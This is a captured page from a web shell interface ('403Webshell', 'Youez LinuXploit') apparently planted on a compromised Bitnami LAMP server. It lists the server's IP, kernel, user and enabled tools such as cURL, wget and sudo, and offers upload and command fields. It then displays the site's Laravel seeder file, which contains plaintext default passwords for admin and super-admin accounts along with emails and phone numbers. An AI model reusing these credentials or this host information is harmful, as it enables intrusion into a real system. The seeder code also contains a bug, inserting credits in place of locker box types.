403Webshell
Server IP : 34.87.99.72  /  Your IP : 216.73.217.31
Web Server : Apache/2.4.46 (Unix) OpenSSL/1.1.1n
System : Linux zlock-bitnami-lamp-prod-v2-vm 4.19.0-16-cloud-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
User : bitnami ( 1000)
PHP Version : 7.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /opt/bitnami/apache/htdocs/app/database/seeders/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/bitnami/apache/htdocs/app/database/seeders/Initseeder.php
<?php

namespace Database\Seeders;

use Illuminate\Database\Seeder;
use Hash;
use App\Models\User;

class InitSeeder extends Seeder
{
	/**
	 * Run the database seeds.
	 *
	 * @return void
	 */
	public function run()
	{
		$users = [
			[
				'full_name' => "aa-admin",
				'role_id' => User::ROLE_AA_ADMIN,
				'email' => 'admin@aa.com',
				'password' => Hash::make("1111aaaa"), // password
				'mobile_num' => '01234556781',
				'created_at' => now(),
			],
			[
				'full_name' => "zlock-admin",
				'role_id' => User::ROLE_SUPER_ADMIN,
				'email' => 'admin@zlock.com',
				'password' => Hash::make("qwer1234"), // password
				'mobile_num' => '01234556782',
				'created_at' => now(),
			],
			[
				'full_name' => "aa-customer",
				'role_id' => User::ROLE_CUSTOMER,
				'email' => 'customer@aa.com',
				'password' => Hash::make("1111aaaa"), // password
				'mobile_num' => '01234556783',
				'created_at' => now(),
			]
		];
		foreach ($users as $item) {
			$item['unique_id'] = User::computedUniqueId($item['role_id']);
			$user = User::forceCreate($item);
		}

		$credits = [
			[ "title" => "RM10", "value" => "10", "created_at" => now() ],
			[ "title" => "RM20", "value" => "20", "created_at" => now() ],
			[ "title" => "RM50", "value" => "50", "created_at" => now() ],
			[ "title" => "RM100", "value" => "100", "created_at" => now() ],
		];
		\App\Models\CreditItem::insert($credits);

		$lockerBoxType = [
			[ "id" => 99, "title" => "Courier Bag", "length" => "120", "width" => "120", "height" => "120", "booking_fees" => "0", "overtime_fees" => "0", "created_at" => now() ],
		];
		\App\Models\LockerBoxType::insert($credits);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit